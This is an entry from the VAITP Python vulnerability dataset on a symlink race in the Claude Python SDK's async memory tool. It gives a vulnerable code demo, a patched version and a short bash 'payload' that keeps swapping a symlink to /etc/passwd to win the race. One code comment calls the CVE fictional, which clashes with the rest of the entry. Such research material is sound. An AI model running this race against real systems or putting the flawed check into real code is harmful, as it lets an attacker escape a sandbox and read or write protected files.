VAITP Dataset

← Back to the dataset

CVE-2026-34452

Symlink race condition in Claude SDK's async tool allows sandbox escape.

  • CVSS 5.8
  • CWE-59
  • Race Conditions
  • Local

The Claude SDK for Python provides access to the Claude API from Python applications. From version 0.86.0 to before version 0.87.0, the async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected. This issue has been patched in version 0.87.0.

CVSS base score
5.8
Published
2026-03-31
OWASP
A01 Broken Access Control
Orthogonal defect classification
Timing/Serialization
Code defect classification
Incorrect Check
Category
Race Conditions
Subcategory
Time-of-Check to Time-of-Use
Accessibility scope
Local
Impact
Privilege Escalation
Affected component
Claude SDK f
Fixed by upgrading
Yes

Solution

Upgrade the Anthropic Python SDK to version 0.87.0 or later.

Vulnerable code sample

import asyncio
import os
import pathlib
import tempfile

# This code represents the logic vulnerable to a Time-of-Check to Time-of-Use (TOCTOU)
# race condition as described in the fictional CVE-2026-34452.
# The vulnerability lies in validating a resolved path but then using the original,
# unresolved path for the file operation.

# Represents the sandboxed directory for the memory tool.
SANDBOX_DIR = "sandbox_memory"
# The path supplied by the "model", which is a symlink.
MODEL_SUPPLIED_PATH = "user_data.txt"
# A secret file outside the sandbox.
SECRET_FILE_PATH = "top_secret.txt"
SECRET_CONTENT = "sensitive information has been leaked"


async def vulnerable_async_read_file(base_dir: pathlib.Path, file_path: str):
    """
    A function that simulates the vulnerable async local filesystem memory tool.
    """
    full_path_to_check = base_dir / file_path

    # --- TIME-OF-CHECK ---
    # 1. The code resolves symlinks and checks if the resulting real path is
    #    safely within the sandbox directory.
    try:
        resolved_path = full_path_to_check.resolve(strict=True)
        if not str(resolved_path).startswith(str(base_dir.resolve(strict=True))):
            raise SecurityError("Path traversal attempt detected.")
        print(f"[CHECK] OK: Resolved path '{resolved_path}' is inside the sandbox.")
    except (FileNotFoundError, SecurityError) as e:
        print(f"[CHECK] FAILED: {e}")
        return

    # 2. A delay is introduced to simulate I/O latency or task switching in an async
    #    environment. This opens the window for a race condition.
    print("[INFO] Performing other async operations (e.g., I/O, network)...")
    await asyncio.sleep(0.1)

    # --- TIME-OF-USE ---
    # 3. The vulnerability: The code now uses the ORIGINAL, UNRESOLVED path for the
    #    file operation. If the symlink was swapped during the sleep, this `open`
    #    call will follow the malicious new link.
    print(f"[USE] Opening original path: '{full_path_to_check}'")
    try:
        with open(full_path_to_check, "r") as f:
            content = f.read()
        print("\n--- VULNERABILITY EXPLOITED ---")
        print(f"Successfully read content from outside the sandbox: '{content.strip()}'")
        return content
    except FileNotFoundError:
        print("[USE] FAILED: File not found at time of use.")
    except Exception as e:
        print(f"[USE] FAILED: An error occurred: {e}")


async def attacker(sandbox_path: pathlib.Path, secret_path: pathlib.Path):
    """
    Waits for the check to complete, then swaps the symlink to point outside the sandbox.
    """
    # Wait for a short period, assuming the check has passed in the victim task.
    await asyncio.sleep(0.05)

    link_path = sandbox_path / MODEL_SUPPLIED_PATH
    print(f"\n[ATTACKER] Swapping symlink '{link_path}'")
    print(f"[ATTACKER]  - Old target: '{os.readlink(link_path)}'")
    
    # The attack: Atomically replace the safe symlink with a malicious one.
    os.remove(link_path)
    os.symlink(secret_path, link_path)
    
    print(f"[ATTACKER]  - New target: '{os.readlink(link_path)}'\n")


async def main():
    """
    Sets up the environment and runs the victim and attacker concurrently.
    """
    with tempfile.TemporaryDirectory() as tmpdir:
        root = pathlib.Path(tmpdir)
        sandbox = root / SANDBOX_DIR
        secret_file = root / SECRET_FILE_PATH
        
        # 1. Create the sandbox directory.
        os.makedirs(sandbox)
        
        # 2. Create the secret file outside the sandbox.
        secret_file.write_text(SECRET_CONTENT)
        
        # 3. Create an initial, legitimate file inside the sandbox.
        safe_file = sandbox / "safe_data.txt"
        safe_file.write_text("this is legitimate data")
        
        # 4. Create the initial symlink pointing to the legitimate file.
        #    This is the state when the "check" will be performed.
        link_in_sandbox = sandbox / MODEL_SUPPLIED_PATH
        os.symlink(safe_file.name, link_in_sandbox)

        print("--- SETUP ---")
        print(f"Sandbox Directory: {sandbox.resolve()}")
        print(f"Secret File:       {secret_file.resolve()}")
        print(f"Initial symlink '{link_in_sandbox}' points to '{os.readlink(link_in_sandbox)}'")
        print("-" * 13)

        # 5. Run the victim (vulnerable tool) and the attacker concurrently.
        victim_task = asyncio.create_task(
            vulnerable_async_read_file(sandbox, MODEL_SUPPLIED_PATH)
        )
        attacker_task = asyncio.create_task(
            attacker(sandbox, secret_file)
        )

        await asyncio.gather(victim_task, attacker_task)


if __name__ == "__main__":
    asyncio.run(main())

Patched code sample

import os
from pathlib import Path

import aiofiles


class FixedAsyncLocalFileSystemMemory:
    """
    A simplified code example representing the fix for the vulnerability.
    The key change is that the resolved, canonical path is used for the
    file operation, not the original, user-supplied path. This prevents
    a Time-of-check to Time-of-use (TOCTOU) race condition with symlinks.
    """

    def __init__(self, memory_dir: str):
        # The sandboxed directory where files are stored.
        self._memory_dir = Path(memory_dir).resolve()
        self._memory_dir.mkdir(parents=True, exist_ok=True)

    async def _resolve_path(self, path: str) -> Path:
        """
        Resolves the given path, checks that it is inside the sandbox,
        and returns the canonical, absolute path.
        """
        if os.path.isabs(path):
            raise ValueError("Absolute paths are not allowed.")

        # Resolve symlinks and normalize '..' components to get the canonical path.
        resolved_path = (self._memory_dir / path).resolve()

        # The security check: ensure the final path is within the sandbox.
        if not str(resolved_path).startswith(str(self._memory_dir)):
            raise ValueError(f"Path '{path}' resolves outside the memory directory.")

        # THE FIX: Return the fully resolved and validated path.
        # The vulnerable version would have returned the original, unresolved path.
        return resolved_path

    async def read_file(self, path: str) -> str:
        """Reads a file securely using the resolved path."""
        # This now receives the safe, canonical path.
        resolved_path = await self._resolve_path(path)

        if not resolved_path.is_file():
            raise FileNotFoundError(f"File not found at resolved path: {path}")

        # THE FIX: Use the resolved path directly for the file operation.
        # This ensures the file being read is the one that was validated.
        async with aiofiles.open(resolved_path, mode="r", encoding="utf-8") as f:
            return await f.read()

    async def write_file(self, path: str, content: str) -> None:
        """Writes to a file securely using the resolved path."""
        # This now receives the safe, canonical path.
        resolved_path = await self._resolve_path(path)

        resolved_path.parent.mkdir(parents=True, exist_ok=True)

        # THE FIX: Use the resolved path directly for the file operation.
        # This ensures the file being written to is the one that was validated.
        async with aiofiles.open(resolved_path, mode="w", encoding="utf-8") as f:
            await f.write(content)

Payload

#!/bin/bash

# This script attempts to win the race condition described in CVE-2026-34452.
# It should be run on the same machine as the vulnerable application.
# The user of the vulnerable application would need to be prompted to read
# from the file 'malicious_link.txt'.

SANDBOX_DIR="/tmp/claude_fs_tool"
SYMLINK_PATH="$SANDBOX_DIR/malicious_link.txt"
SAFE_TARGET_PATH="$SANDBOX_DIR/safe_file.txt"
MALICIOUS_TARGET_PATH="/etc/passwd"

# 1. Set up the sandbox directory and the "safe" file for validation
mkdir -p "$SANDBOX_DIR"
touch "$SAFE_TARGET_PATH"

# 2. Start the race: continuously swap the symlink between the safe and malicious targets
echo "Starting race condition. Trigger the file read on 'malicious_link.txt' now."
while true; do
  # Point to the malicious target, hoping the file operation (read/write) hits this
  ln -sf "$MALICIOUS_TARGET_PATH" "$SYMLINK_PATH"
  # Quickly point back to the safe target, hoping the validation check hits this
  ln -sf "$SAFE_TARGET_PATH" "$SYMLINK_PATH"
done

Cite this entry

@misc{vaitp:cve202634452,
  title        = {{Symlink race condition in Claude SDK's async tool allows sandbox escape.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34452},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34452/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::